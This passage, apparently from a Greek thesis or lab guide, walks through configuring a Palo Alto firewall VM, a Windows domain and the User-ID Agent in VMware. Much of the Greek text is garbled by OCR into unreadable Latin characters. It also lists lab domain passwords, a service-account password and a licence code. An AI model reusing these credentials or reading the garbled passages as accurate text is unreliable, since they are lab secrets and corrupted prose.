o
(ntrazone) © A
S

Ewkova 67 - Ot 0A0KANPWUEVES TOALTIKEG TNG APXLKNG TIOPAUETPOTOINCNG
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3.7.Response Pages

e aUTO TO OonUelo Kal KaBwG BPLOKOUAOTE O0TO TEALKO OTASLO QUTAG TNG OPXLKAG
TIOPOUETPOTIONONG UIopoU e va amo to TAB “Device” kal to menu “Response Pages” va
gvepyomnolnooupe tnv emihoyn “Application Block Page” (Ewkova 68). Zkomog eival, Kuplwg o
XPNOTNG KOl KATA OUVETIELD KOL EUELC TIOU KAVOUWE TNV TOPAUETPOMOLNCN KAl Tnv
Sokipaloupe, va BAEMOUE UNVUHATA YLa TOUG AOYOUG e€aLTiag Twv omolwv evoexouevwg dev
£€XOoUUE tpOoBacon o kamola LotooeAida, mépa amno ta Stabéopa logs. Me auto Tov Tpomo
e€aodpaAiloupe Kal TNV OHAAR ETKOWVWVIO TOU TEAIKOU Xprotn Tou OIKTUOU HE TOUG

SLaXELPLOTEG, KABWC LETADEPETAL TO LLIVULLO TOU QTTOKAELOMOU TNG MpooPaonc pe akpifela.

palo:

Dashboard ACC Monitor Policies Objects

Network

Application Block Page ®

v/ Enable Application Block Page

COES

Ewova 68 - Response Pages

3.8.AOKLUNA TNG APXLKAG TTAPALETPOTIOINONG

Ao auTO To onpElo OTAUATAWE VA XPNOLLOTIOLOUE TN cUvSean pag oto Palo Alto pe
N Xprion tou Management Interface, VMnet2. ©a cuvdeBolpe kavovtag xprion tou VMnet3,
TO omolo ival To eowWTePLKO pag Siktuo, SnAadn autd mou BEAOUE va XPNOLULOTIOLOOUE

TEAIKA. ZEKLVAWE UE TNV MapapeTpomnoinon tou Ubuntu vm.

Me ofnotd to vm tou Ubuntu petafaivoupe otig pubuiocelg tou VMware kal
OUYKeKPLUEVA OTIG puBuioelg tou Ubuntu VM. AANGZoupe to Network Adapter and Custom
(VMnet2) oe Custom (VMnet3) onw¢ daivetal otnv Ewkdva 69. Eival ouoLooTika cav va

ouVOEoUE, e KaAwdLo, TNV Kapta Siktuou tou Ubuntu vm pe tnv ethernet 1/2.
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Virtual Machine Settings

Hardware  Options
Device Summary Pevee stats
ESMemary 268

{FProcessors 1 EA Connect at power on

Metwork cannection

LCDOND (54 o gz
etk Adapter 2 Custom (net3) (0 Bridged: Cornected directly to the physical netwerk

(= viard Disk (SCST) W0GE

(CINAT: Used to share the host's IP address
Dloissley Auto detesct (O Host-only: A private network shared with the host

1®) Custom: Specfic virtusl network
VMnet3 ~
TJLAN segment:

LAN Segments...  Advanced...

Ewodva 69 - To Ubuntu vm ato VMnet3
OUUOMAOTE OUWCE OTL 0To 3.2 mapanavw siyape Swoel oto Ubuntu gpeic pla otatikn
IP 8tevBuvon, emeldn dev umnpxe kamnotog DHCP server og ekeivo to Siktuo. ESw alhaloupe
™ pLuBULoN Tt KAaptag Siktuou péoa oto Ubuntu wote va d€xetal avtopata Steubuvoelg
oo DHCP server, BAoeL TNG MAPAUETPOTIOLNCNG TTOU £XOUUE avadEPEL otnv evotnta 3.5.7
napanavw. Mnyaivoupe otig pubuioeslg tou Ubuntu, emtidéyoupe to “Network” kot amo ekel

oto “Wired” matdpe ti¢ puBuioec®.

G

Ewova 70 - PuBuioeig Ubuntu
Onwg BAémoupe otnv Ewkdéva 71 oto tab “IPv4” emléyoupe wg IPv4 Method to
“Automatic (DHCP)”. TéAog, KaAO €lval va ATEVEPYOTIOL|COUE KAL VO EVEPYOTIOL|COULLE €K

véou to Wired Network mtplv mpoxwprjooupe (Ewkova 72).

5 epndavilovral wg tkovidlo ypavallol
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Cancel Wired

Details Identity IPv6  Security

|ipva Method © Automatic (DHCP) |
Manual
DNS
Routes

Use this connection only for resources on its netw

Ewova 71 - To Ubuntu e a

Q Settings Network
L g

Wired
¥ 8

1600 M
@ Backgro
D Dock o
A& Notifications
Mot setup

a
B Region & Languag Metwork Proxy
0 u
& o

Palo Alto

Apply

Link-Local Only

Disable

Automatic

Automatic

vork

vtouatn IP

Ewova 72 - Antevepyomnoinan kot evepyomnoinon Siktuou tou Ubuntu

Ma emoAnBguon pmopoUUe va eKTEAECOUUE o€ €va terminal tnv evtoAn “ifconfig”

onwcg pativetal otnv Etkova 73. H véa dtevBuvon sivatn 192.168.2.2 kat eival péca oto range

Twv SteuBlvoewv mou Sivel o DHCP server tou eowt

ds@ubuntu:
ens38: flags=41
inet

AST
mask 255.
9a04:9b01 f
ether © 91 txqueuelen 1000
RX packet 2088 (2.0 KB)
RX errors © dropped © overruns ©
TX packets 171 bytes 19806 (19.8 KB)

en 64

€pLKOU pag diktuou, VMnet3.

> ntu 1500
broadcast 192.168.2.255
scopeid 0x20<link>
(Ethernet)

frame ©

TX errors © dropped © overruns © carrier @ collisions ©

.0.
opeid Ox10<host>
(Local Loopback)
bytes 76543 (76.5 KB)
frame ©
TX packets 1071 bytes 76543 (76.5 KB)
TX errors © dropped © overruns ® carrier © collisions 0

H pr 12
loop txqueue
RX packets

e

len 1000
1071
RX errors © dropped © overruns ©

Ewkova 73 - Néa IP tou Ubuntu

H mpwtn dokiun oxetiletal pe tnv mpooBaon pag oto web interface tou Palo Alto.

Itnv evotnta 3.5.3 mapandvw sixape emlé€el to ethernet 1/2 va €xel tn SievBuvon

192.168.2.1, autn sivat kat n SlevBuvon anod tnv onoia Ba mpémeL va eival mpoofAactpo 1o

web interface. AkoAouBwvtag ta Bripata nou neplypddovtal otnv evotnta 3.3 mapandavw,
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avtikaBlotovpe T OlevBuvon 172.168.147.200, mou eixape XPNOLUOTMOLAOEL, HE TNV

192.168.2.1 katL ouvdedpOOTE TAEOV OO TO ECWTEPLKO Siktuo (Elkova 74).

1 Warning: Potential Security Risk Ahead

Ewova 74 - Zuvdeon ato web interface amo 10 EOWTEPLKO SIKTUO
Eloaydyoupe Ta otolyxeio cUvEeong OTWCE ELXAUE KAVEL KOL TIPLV KAl BAEMOULE OTL OTO

Dashboard tou Palo Alto daivetal n véa ouvdeon amod tov otabuo 192.168.2.2 (Ewkova 75),

nou eivat to Ubuntu vm.

Admin From Client Session Start Idle For

Ewova 75 - EmBeBaiwaon ouvdeonc aro to Ubuntu

TéNog, eléyxoupe eav to Ubuntu éxeL mpooPfacn oto Stadiktuo. Avoilyoupue €vav

browser, Mozilla, kat mAnktpoAoyoupue tn dtevBuvon https://www.ds.unipi.gr/security/en/.

H oeAida Ba mpenel va epdavicbel omwe otnv Ewkova 76.

University of Piraeus
Department of Digital Systems
Postgraduate Programme * Digital Systems Security

DIODOTUS

Departmental Academic
Ewaluation System

EUDOXUS
Electronic Course
Management System

Ewkova 76 - [MpooBaon otn oeAiba tou MM
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3.9.To management interface

To management interface eival urteUBuUVO va emITEAEL pLla oeLPA Ao AeLToupyieg Tou
Palo Alto, 0mwg €lval oL EVNUEPWOELG KAL N EVEPYOTIOLNGN TWV ASELWV. ITN CUYKEKPLUEVN
napapeTponoinon OSwoaue amneuBeilag mpooPacn tou interface oto OSladiktuo. Oa
UTTOPOUCAUE VA XPNOLUOTIOLOOUHE Kal KATmolo aAAo amo ta Stabéolpa interfaces yla tov
OKOTIO auTo. Me kAelotd to Palo Alto vm aAAdloupe Tig puBuioelg tou “Network Adapter”

tou vm oto VMware. Ané Custom VMnet2 to aA\daloupe o “NAT” (Ewkova 77).

Virtual Machine Settings X

FCaNetwork Adapter 6 Hosf
Dlosplay

Ewdva 77 - AMayri tou Network Adapter tou Management interface
3TN ouvéxela ocuvbedpaote mAaAL oto web interface tou Palo Alto otnv 6tevBuvon
192.168.2.1. Mpénet va OSwooupe ula SlevBuvon P oto management interface
avtikaBlotwvtag tv 172.168.147.200 nou eiyapue Slaré€el otnv evotnta 3.1. H StevBbuvon
mou Ba dwooupe MPEMEL va elval evtog Tou range tou VMware f kamola real static IP eav
€xoupe. EmAE€ape tnv 192.168.147.100 pe BAon TNV avoayvwplon TOU TPOYHLOTOTOL|COE

otnv evotnta 2.3.

Ma va KAVou e TNV aAlayr UmopoUue ekTOC Tou terminal mou eidape otnv evotnta
3.1 va xpnowdomnoljooupe kot tTo web interface. Xto TAB “Device” emAéyoupe To menu
“Setup”. Ztn cuvéxela oto tab “Management” mtnyaivoupe otnv nepLloxn mou avadEPETaL WG

“Management Interface Settings” kat matdpe tig pubuioslg’ dnwg dpaivetal otnv Etkdva 78.

7 epndavilovral wg elkovidlo ypavallol
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paloglto

Ewdva 78 - Enihoyri menu aMayric IP tou Management interface
Itnv enopevn obovn (Ewkova 79) swoayayape tnv StevBuvon 192.168.147.100 pe
Netmask 255.255.255.0 kot Gateway tnv 192.168.147.2, pe Bfacn 6ca SLOMIOTWOOUE OTNV
gvotnta 2.2 napandvw. MNa aopaleta, kabwc eival éva interface mou tou divoupe mpodoBaaon

oto SLadiktuo, emAéyoupe wG povadikn umnpeoia to “ping”.

i DHCP Client Services
1P Address  192.168.147.100 LJ wrie M| Permined 1P Addresses

Netmask  255.255.255.0 [_] wrTe ocse
Default Gateway 192.168.147.2 L HTTPS
1P g (] Teinet

Default IPv6 Gateway SSH

e -
MTU 1500 [ snwp

[ user-i0
User-D Sysiog Listener-SSL

User-ID Syslog Listener-UDP

Qi @

Ewova 79 - Néa IP tou Management interface

210 eMOEVo Brua, mapapévovtag oto menu “Setup” emAéyoupe to tab “Services”.
ErtiAéyoupe to €lkovidlo twv puBuicswv® (Etkdva 80) yia va puBuicoupe toug DNS servers

nou Ba xpnowuomnotooupe kabwg kal tov NTP server, yla tn puBULON TNG WPOC.

“« ¢ @ D & https://192.168.2.1/#d

paloalto Dashboard  ACC  Monitor  Policies  Objects avice

U sewp

& High Availability

Ty Config Audit

€8 password Profiles

8 Administrators DNS  Servers

£2 admin Roles Primary DNS Server
8 Authentication Profile Secondary DNS Server
ﬁ' Authentication Sequence Update Server  updates. paloalionetworks.com
[ User identification Verify Update Server identity
Bl M information Sources Proxy Server

Ewova 80 - MetaBaon oto menu puBuioewv DNS kot NTP

8 epndavifovral wg eikovidlo ypavaliov
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Ermtidéyoupe wg DNS servers Tou¢ SLakopLloTeG tng Google, umopoUl e va eTUAEEOUUE
KOl TOU TtapOXou Hag 1 omolag aAAng DNS umnpeoiag, 8.8.8.8 kat 8.8.4.4. Na NTP server
ermtAé€ape tov NTP.NTUA.GR mou avrkeL oto MNoAuteyveio tng ABrivag (Ewkova 81).

DNS (@) Servers () DN Proxy Object

Update Server | updates paloaonetwarks.com

Veiy Updale Server identty

Ewova 81 - Kataywpnaon DNS kat NTP
ErumAéov otig puBuioslg anod to tab “Management” pnopolue va SnAwooupe TNV
{wvn TG wpag n onola mpémnet va eivat “Europe/Athens” yia tnv EAAGSa (Eltkova 82), wote n

wpa va TipoBAarAeTaL cwoTd.

i paloalt —_—
p . Dashboard ACC Monitor Policies Objects Network Hostname | PA-VM

SSUTLS Servie Profile None

|7 Zove” Europelathens

CHREE) K K

Automatically Acquire Commit Lock

1 Centiicate Expration Check

Use Hypervisor Assigned MAC Addresses

Ewdva 82 - Time zone
Ma va emPePalwooupe OTL EXOUHE KAVEL TIC OWOTEC pubuioelg oto management
interface umopoupe va petaBoupe oto Terminal tou Palo Alto, dnwg meplypadape otnv
evotnta 3.1. EkteAwvtag TNV amAr eVvioAr ping mpog tnv Google | mpog onolodnmote aAAn
SlevBuvon Ba mpémel va untdpxel amavtnon (Ewova 83). H evtoAn pumopel va eivat “ping host

8.8.8.8” 1 “ping host www.ds.unipi.gr”.
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7 bytes of data.
Mp_seq=1 ttl
t

icMp_:

188) :

8 ping statistics
i 12 received, 8%

Ewova 83 - EAeyyoc npocBaong tou Management interface oto Stadiktuo

3.10. Evepyormoinon

Eva omdé T TLO ONUOVIIKA BApATto yla TNV OAOKANPWON QUTAC NG
TIAPOUETPOTIOLNONG, WoTe va TeBel o Aettoupyia To Palo Alto pe OAa Tou Ta XOPOKTNPLOTIKA,
elval n evepyomnoinon twv adstwv xpriong. Mptv amo tnv évapén tn¢ dStadikaoiog mpoteivou e
va eKTeAECTOUV oL Sladikaaoieg mou meplypadovtal otig evotnteg 3.4.1 kat 3.4.3 OXETIKA PE

NV anoBnKeuon TNG TPEXOUCAC TTOPAETPOTOINONC.

MetaBaivoupe oto TAB “Device” kal otn ouvéxela oto menu “Licenses”. Eddoov
gxoupe OlaBéowo tov “authorization code” emAéyoupe to “Activate license using

authorization code” (Ewkova 84).

Ewkova 84 - To menu yLa TNV EVEPyoOmoinon Twv adelwv
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Itn véa 0086vn (Ewkova 85) mou avoiyel mAnNKTpoAoyoU e Tov SLaBEaLpo KwdLKO, oE
EUAC ATav o “18612476”. Itn ouvéxela Ba umapfel pRvupa ot to Palo Alto vm 6a

EMAVEKKLVNOEL

| > License ®

| Authorization Code | 18612476 | '

& The device will be rebooted if a new VM capacity license is applied.

Note: Any unce i confi ion ¢ ges will be lost.

Ewova 85 - Eloaywyn kwdikou evepyomoinong
Edboov n evepyomoinon elvat emtuxng Metapaivoupe oto i6lo menu Tmou
Bplokopaotav. Auth ) Popd SLamioTwvou e OTL oL AdeLEG Exouv evepyomolnBel. Mmopoupe

va Soupe ta evepyd modules kaBwg kat tnv nuepopnvia Anéng kabe adeiag (Ewkdva 86).

B paloalio

Policies Objects

@ seun
& High Availability

February 01, 2020
< February 01, 2021
n BrightCloud URL Fitering
e No
2020.02:01 Gownloacing latest URL database

B M informaion Sources
w (g8 cenificate Management
& centcates
8 Centcate profie
% 0CSP Responder
B SSUTLS Service Profile

D scep ate Issued  February 01, 2020
@Rmm Pages ate Expres Fetruary 0, 2021
3 Log Sewngs

= jion GlobalProtect Gateway License
¥ (@) server Profies Date Issued February 01, 2020

&) snme Trap Date Expires Never

) sysiog Descripion GlobalProtect Poral License
Byemal February 01, 2020
) Netow e Expires  February 01, 2021
@ rADIUS = i Palo Ao Networks URL Fiftering License
. o
B 0w s
B Kerberos Date Issued  February 0L, 2020
w8 Local User Daabase Date Expires February 01, 2021
8 users Descripton 24x 7 ph
B User Groups

(& scheduled Log Export
@ sofware

& GiobaProtect Client
& Dynamic Updates -
€, Licenses y . Date Issued February 01, 2020

€ support o e Daie Expires February 01, 2021

B Master Key and Diagnostics Activale festure using authorization code Descripion WikiFire signature feed, integrated WildFire logs, WildiFire AP

Ewkova 86 - Emtituxrg evepyomnoinan
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3.11. H teAwkn TomoAoyia SIKTUou TNC apXLKAC TIOPAETPOTIOINONG

‘Exovtag oAokAnpwaoel OAQ Ta TPONYOUHEVA BALOTO UE EMITUXLO ETILOTPEPOUE OTO
oXNUO TIOU TEPLYPAdEL TNV TOTMOAoyia TOU SLKTUOU Kol TIPOCBOETOUUE OAEC TIG TEALKEG

nAnpodopieg (Etkdva 87) mou Bacilovtal oTNV MAPAPETPOMOLNON TIOU £€XOUUE SNULOUPYNOEL.

)
e\!g#

|
!
I"te,met Management
I Interface
! IP Address:
v 192165147104
L ) <7 NAT

e el ] 4
P NAT % 1 h LIl 5
VYMware Interfacel/1 Z} Interface /2
IP Address: IP Address: T IP Address
1_.\ 192.168.147.2 192,168,147 132 net3 192.168.2.|
(- |

VM
192.168.2.2 -
192.168.2.254
| |

Internal Network

192.168.147.0724
Gateway:
192.168.1472

Ewova 87 - H oAdokAnpwuévn tormoAoyio Stktuou
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4. To Palo Alto og neptpaAAov Windows Domain

210 KEPAAOLO QUTO TPOOTIABNCAE VO TIPOOEYYIOOUUE €va UTIOBDETIKO TepLBAAAov
KATIOLOU opyaviopoU, o omoiog dtaBétel utodour) oe Windows Domain, UTIAPXEL EMOUEVWG
Active Directory kol emiBupel tnv évtaén tou Palo Alto oto untapyov oxnua yLa tnv evioxuon

NG MPOOTACLAG TOU.

H Sopn tou Siktvou edw Ba Stadoponolnbei o oxEon Ye To mponyoUpeVo KEPAAaLo.
H Siadopomoinon £ykettat otnv umopén tou Domain oto VMnet3 tou VMware, oT0

E£0WTEPLKO pag Siktuo mou ouvdéetal oto Palo Alto oto interface ethernetl1/2 (Etkdva 88).

Ve WY
"!!/
4}

lnlemet

igement
Interface
IP Address:
192.168.147.10Q

Interfacel/l
|P Address: 1P Address: P Mdress
192.168.147.2 192.168.147.132 192.168.2.1

(=
l97.l68.l470f14
E l97.|68 I47.2
I92 168.2.2 -
I92 168.2.254

Internal Network

Ewova 88 - Windows Domain

Mo tv vAomoinon tou oevapiov pag Ba xpelaotoupe éva vm ya Windows Server
2016 kat TouAdylotov €va pe Windows 7 Pro x64 SP1, otnv evotnta 1.2 yivetal avadopd yLa
To mou Ba Bpoupe Ta vms oTo Sladiktuo. Oa xpnolpomnotjoou e t€Aog éva Ubuntu vm yia va
KAVOULE TNV MOPAETPOTIOLNCN Kal Tov EAeyxo Tou Palo Alto, puoikd auto Ba pnopouoe va

yivel kat amno éva amno ta Windows vms. OAa Ba Bplokovtal oto ecwteptkod pag Siktuo.
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4.1.Windows Domain

Ma va ouvexiooupe TIPEMEL va €XOULE LA OPKETA KA yvwon o Windows Domain,
Windows Active Directory kat Windows Server. Aev Ba mapoucldooupe 6w tnv uAomoinon
Tou Domain kaBw¢ to B€pa pog ival n mapapetponoinon tou Palo Alto. Oa avagepBoupe

LLOVO OTLG TIEPLOXEG EKELVEG TTOU €lval amapaitntn n mpocappoyn yia to Palo Alto.

OewpoUE OTL EXEL YIVEL HE eMLTUXLO N dNULoOUpYLA KoL TTAPOUETPOTIOLINGN Tou domain

LLOLG, TO OTIOLO £XEL TA MAPAKATW XOPAKTNPLOTIKA.

Ovopa Domain: DS.LOCAL

FQDN SERVER: MASTER.DS.LOCAL
FQDN WORKSTATION 1: WS1.DS.LOCAL
FQDN WORKSTATION 2: WS2.DS.LOCAL
AUo domain XpnoTec:

- ds\ds1_user

password: 12345!@#$%qs

- ds\ds2_user

password: 12345!@#$%qs

‘Evac domain administrator:

- ds\administrator

password: dsds1234!@#S
4.2.Windows Server kat Windows Workstation vms
H eykataotaon twv vms tou Windows Server kat twv Workstation gv Stapépet and
ooa eiyape 6L otnv evotnta 2.2 yia to Ubuntu. To povadikd mou mpEMeL va KAVOUUE €ival

oTLG pubpuioelg Twv vms va puBuicoupe to Network Adapter oe Custom VMnet3 (Elkova 89),

EVW N HvAun ota 2GB katl to péyebog Tou okAnpou diokou ota 40GB eival apKeTa.
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Virtual Machine Settings X

Hardware  Opsons

Device Summary Device status
ESMemory 268 Fonnested
1 fPracessars 2 [ Cannect at power on

Metwaork connection
O eridged: Connected drectly to the physical netwark

() NAT: Uisid to share the host's I2 address
lpisplay Auto detect ) Host-anly: A private network shared with the host
{®) Custom: Spedific vriual netwark
| nets = |
(CJLAN segment:

Ewova 89 - Server kat Workstation vm puBuioeig

Ytov Windows Server amodidoupe pla otatiky StevBuvon tou SIkTUoU €VIOg Tou
range mou €xoupe kabBopioel otnv evotnta 3.5.7, and 192.168.2.2 éw¢ 192.168.2.254.
EmiAé€ape va Swoouvpe tnv 192.168.2.10 pe gateway t dtevBuvon 192.168.2.1, ival n IP
Tou interface ethernetl/2. tnv Elkova 90 BAEMOUUE TNV pUBULON TTOU €XeL yivel oto SikTuo
Tou server pog, péoa ota Windows. Tig puBuioelg ota Workstations T adrivoupe oto

oautoparo, Ba maipvouv IP SteuBuvoelg and tov DHCP server tou Palo Alto.

Internet Protocol Version 4 (TCP/IPv4) Properties X
General

You can get IP settings assigned automatically if your network supports
this capability, Otherwise, you need to ask your network administrator
for the appropriate IP settings.

(O Obtain an IP address automatically

(® Use the following IP address:
IP address: 192.168. 2 . 10 |
Subnet mask: [(255.255.255. 0 |
Default gateway: 192,188, 2 . 1

ain DNS server address automaticall
(®) Use the following DNS server addresses:
Preferred DNS server: 1270, 0 i+ 1 |
Alternate DNS server: . . .
[[]vakidate settings upon exit PR

Cancel

Ewkova 90 - H IP tou Windows Server

4.3.Palo Alto DHCP server oto Domain

Ztnv nponyolevn evotnta ertAé€ape tnv IP tou server Kat tTnv BAAQUE WE OTATIKN,
YEYOVO( Ttou pag odnyet avtopata otn dtadikaoia e€aipeong tng ouykeKpLUEVNG StevBuvong
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ano to DHCP. Emiong, emhéyoupe to Siktuo va maipvel dteuBuvoelg amo tnv 192.168.2.20

€wg tnv 192.168.2.200 dlevBuvon, To omolo mpénel va anotunwOel oto Palo Alto.

Elval mpotipuotepo va adrivoue HePLKEG IP eAelBepeC yLa xprion amod Kamola remote
console tou server omwg €ivat to iLO kat to iDRAC R yla tTnv mbavotnta npoodnkng veéwv
servers. Emopévwg 0a €xoupe dltaBéoipeg ektdg DHCP, amo tn StevBuvon 192.168.2.2 €wg tnv
192.168.2.19, pe e€aipeon tnv 192.168.2.10 mou €xeL o0 server kal amo tnv 192.168.2.201 €wg
Vv 192.168.2.254. MpéEmel va yivel avTlAnmto, mwe Kabe dlaxelplotng SIKTUoU ETIAEYEL TOV
Pomo dleubuvolodotnong Kal mapapeTponoinong e Baon Tig SIKEC TOU QTALTHOELG Kol

npodlaypadeg.

Ermotpédpoupe oto web interface tou Palo Alto, pmopoUpe va XPNOLULOTIOLOOUUE
Karotov browser tou Ubuntu f kamotov amno ta Windows vms. Epeig ouveyiloupe oto Ubuntu
kol otov Mozilla Firefox. EmiAéyoupe to TAB “Network” otn cuvéxela to menu “DHCP” kal
TtéNog to tab “DHCP Server”. EmAéyoupe to ethernetl/2 interface mou mMAPOUETPOTOLCAUE
otnv evotnta 3.5.7. ITn ouvéxela mpoxwpnoope onwc ¢aivetal otnv Ewkova 91. Ito tab
“Lease” opiloupe TO VEO range, evw OTOV Tivaka Twv reservations mpooBOgtoupe tnv IP Tou
Windows Server, xwpic MAC address®. ESw umopei va dpaivetal pn amopaitnto avto, kobwg
n IP tou Windows Server &gv gival oto DHCP lease range, KaAd OUWG lval vol KAVOULE £TOL

TNV MOPAUETPOMOLNCN WOTE va arnodUyoupe AaBn oto HéANov.

Ce=n

Ewova 91 - AAayn puSuioswv DHCP, addresses kat reservation

EruunmA€ov oto tab “Options” aAAdloupe tov DNS server. Oa pémnetl va SnAWCOU UE ToV

DNS Server tou Sktuou pag, 6mou ekteAeital w¢ umtnpeoia otov Windows server, EMOUEVWG

9 MrtopoU e va xpnotpomnotoUpe thv MAC address wote va arodidet o DHCP server mdwvta tnyv idta IP og
Karota Siktuakr cuokeur, workstation, printer KA.
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TIAnKTpoAoyou e tnv 192.168.2.10 (Ewkova 92). O Domain Name Server givatl umeuBuvog va
KAVEL resolve Ta ovopaTa Twv cUoKEUWVY Tou Siktuou. O,TL bev Bpiokel ot eyypadég Tou, To

npowBOel oe dAAAoug DNS servers tou dladiktuou, péow forwarders.

Ewova 92 - Mpoadnkn tou DNS server tou Domain

4.4 .Palo Alto User-ID Agent

Q¢ Slaxelplotég BENou e AvTtote va BAEMOULE TTEPLOCOTEPEC AEMTOUEPELEG oTa logs
Tou eA€yyoupe. To 16to oupPaivel otav BAémoupe ta logs evog firewall. EmAé€ape va
eudaviletal ota logs tou Palo Alto kat o xpriotng Tou Domain Tou £XeL KAVEL TO aitnua
npocBacng. Me autd Tov TPOTo €XOUUE OAN TNV MAnpodopia mou XpelalOUaoTe Xwpig va

EMNPEAOUE TNV EUTELPLA TOU XPHOTN TL.X. KE KArmoLlo login screen.

Ma va yivel auto n Palo Alto €xel Snuloupynoet évav Agent, otov omoio divoupe tnv
Sduvatotnta va diaBalet ta logs tou Active Directory tou Windows Server. O Agent otn
OUVEXELa TipowBEel TG anapaitnteg mAnpodopieg oto Palo Alto firewall. Tov Agent umopoupue
val Tov KateBAacoupe amod to support tng Palo Alto edpdoov Stabétoupe tnv KatdAAnAn
ouvbpoun. Yrmdapxel kot n duvatdotnta xwpic tnv xpnon Agent, tnv omoia Opwg dev Ba

e€etaooupe edw.
4.1.1. Anuwoupyla vEou xpnotn

EmiAéyoupe va dnuloupyncoupe €vav XpHotn UE TTOAU CUYKEKPLUEVA SLKalwUATA,
autog Ba eivat o xprotng mou Ba xpnolpomolel o Agent. Aev XPNOLUOTIOLOUWME TOV

administrator tou domain 1 omolovénmote AAAo xpriotn He Sikalwpoato oto domain.
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AouAevoupe mAéov otov Windows Server. Metafaivoupe oto Active Directory Users and
Computers (Ewkéva 93), to omoio eival éva amd ta Baoikotepa epyaleia Siaxeiplong tou
Domain, wote va dnuloupyrnooupe to xprotn. Emléyoupe to “Managed Service Accounts”
KOLL OTN OUVEXELQ, amo To menu “Action” (Etkova 94) ) pe de€i click, Snuioupyou e Tov xprotn

“pa_agent” pe kwdko “agPA2020!” (Ewova 95).

| ] Active Directory Users and Computers |

File Action View Help

e @ 40 XEBRI B2 aETES
] Active Directory Users and Computers [WIN-216N
|| Saved Cueries
v 3 DSLOCAL
" Builtin
[ Computers
= Domain Controllers

| Managed Service Accounts |

T Users

Name Type

Ewova 93 - Active Directory Users and Computers

] Active Directory Users and Computers

== Delegste Control... ey H 2aESTE%
Sa Moven S [WIN-216M|| Name Type
[~ Find...
- i
J‘Ir New > | Computer
All Tasks > Contact
Cut Group
G InetOrgPersan
Goerom msD5-KeyCredential
Refresh msDS-ResourcePropertyList
Export List msD5-ShadowPrincipalContainer
mslmaging-P5Ps
Properties MSMQ Queue Alias
Help Printer
User
Shared Folder
1|
Ewkova 94 - Anutoupylia xpnotn
Hoew Object - User X | Hew Object - User X | MNew Object - User
S) Crstein; DS LOCAL/Managed Service Accourts E) Cruste in: DS LOCAL/Managed Senvice Accourts 3) Create D5 LOCAL Managed Servce Acczunts
Frt rome sty Intils Pastword. ] When you cick Frish, the folowng cbject vl be created:
Last rame: Ussrigent Cofrmpasswers [sassenan [Filname: Palobo Userigere

PaloAls Userigent

] Vser mst change passwerd o et logen
2 Vser cannct changs passwerd

[ Password ever xpres

[ Acooun i daabled

< lack

| fem> || Concel
e

Liser Iogir name: pa_spent@05.LOCAL

The user cannct change the passwosd
The passmosd never expres.

P = |

Ewova 95 - Ovouaoia xpriotn kat KwSLkog
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ITn OUVEXELA, Ba TIPEMEL va eVTAEOUUE TOV XPHOTN AUTO 0TO Group TwV XpPNOTWV UE
Sikaiwpa va dtapalouv ta Event Logs kal otoug Server Operators. EmiAéyoupe (Eltkova 96)
TOV VEO Xpron Kol oTn CUVEXELA £iTe amo to menu “Action” eite pe 8&ki click Eekwvape tn

Sladkaotia.

. Active Directory Users and Computers

File |ew Help

4a = Copy. iz HE Y aETA%R
= ALENEOETE s [WIN-216N|| Name Type Description

pisable Account fApaiontoUse.. User |
v & Reset Password...

Move..

Open Home Page

Send Mail

All Tasks >
Cut

Delete

Rename

Properties

Help

Ewova 96 - Mpoadrikn o€ group SIKALWUATWY
EmAéyoupe ta group mou emBupolpue, Event Log Readers kot Server Operators
(Ewkova 97). H ouykekpLpévn Stadikacia, OMwe EXOUE TIEL 0TV ap)H Tou KepaAaiou, amaltel

YVWOELC XelpLopou Windows Server.

Select Groups X | SedectGroups *

Select the sbrect ype. Select tis abject type:

T | Geales (G or Bt securty g ot Typms

From this locaten From ths lncation:

St Kocaons. 05 LOCAL e
Select Groups « Commer Gusres —
= - Name: Seatswith Cobumes, Nacwe Ratswth v

it this abject type
(o o Butinsecuty pincods e T
From this location: B d
DS LOCAL T— &
> 7

Erterthe object names to sslect (xamples

I_Mvanch | I oK Cancel

Ewova 97 - Emidoyn tou Event Log Readers

4.1.2. Eykatdotaon kot mapapetponoinon User-ID Agent

H eykatdotaon tou Agent oe meplfdaldov windows eival pia amAi Stadikaocia.
ExktedoUpe to apxeio eykatdotaong mou €xoupe katePfdaoel (Ewkova 98). H ékboon mou

xpnotuornowjoape ntav n 8.1.12-4 (Ewova 99).
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Ualnstall-8.1.
12-4

Ewova 98 - To apyeio eykataotaonc User-ID Agent

User-ID Agent *

Palo Alto Networks User-ID Agent
http: ffwww.paloaltonetworks.com

support@paloaltonetworks. com
User-ID Agent Version 8.1.12-4
Palo Alto Networks Copyright (c) 2017

a\to

cRRS
WETHE

o pa\o

Ewova 99 - H ékboon to User-1D Agent

EmAé€ape va apriOOUE TNV TIPOTELVOUEVN BE0N €YKOTAOTOONG TWV apPXEiwV TOU

Agent kot HeTad amo U0 cuVoAKa 3 Bripata n eykataotoon €xel oAokAnpwOel (Ewkova 100).

£ User10 Agent - X UserDAgemt - X | B User1D Agent - x
‘Welcome to the User-1D Agent Setup Wizard Select Installation Folder Installation Complete
paloalt paloalic paloaltc

UserlD Agent. o UserAD Agant has been successtuly metallsd

cick Meat” To ietal click “Bromee'. Click “Dloze” o ext.

C\Progeam Fies ASIP slo Ak Network WU ser D Agerd, Browse..

Disk Cost

Palo o Networks Copyight [c) 2016

=] =1 =

Ewova 100 - H Stabtkaoia eykatdatacns tou User-ID Agent
Eneldn 1o meptBarlov tou Windows Server glval auotnpo wg Mpog Ta SKoLwUATA
TIOU TIOPOXWPEL TTPETEL vaL YIVEL Lot aKOpA oeLpd puBuicewy. H mpwtn adopd ta Sikatwpata
TOU VEOU XproTN TTOU SNULOUPYNOAE OE OXEON LE TOV GAKEAD yKATACTAONC TNG EPAPUOYNG
User-ID Agent. Onw¢ kaBoploape katd tn OlApKElA TNG E€YKATAOTAONG, OQUTH EXEL
npayuatonolnBet otov pakelo “Palo Alto Networks” oto “Program Files (x86) (Ewkéva 101).
2to “Security” tou dakélou mpooBEcaue tov xprnotn “pa_agent” pe mAnpn Sikalwpata

(Ewkova 102).
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2 || = | Program Files (x26)

B vore  shoe view
« « A 1> ThisPC > Local Disk(C) > Program Files (x36) >
Name - Date modified Type
o Quick access
B Deshaop R Common Files K/ 3PM File folder
Google 2 File folder
& Downloads  # Intemet Explorer 1 File folder
% Documents Microsoft NET M File folder
System32 TWindows Defender d 7 4 Filefolder
. Windows Mail File folder
LGS Windows Media Player File folder
@ Network Windows Multimedia Platform File folder
Windows NT File folder
Windows Photo Viewer File folder
Windows Portable Devices File folder
WindowsPowerShell 7 File folder

Ewova 101 - H 9¢on eykataotaong tou User-1D Agent

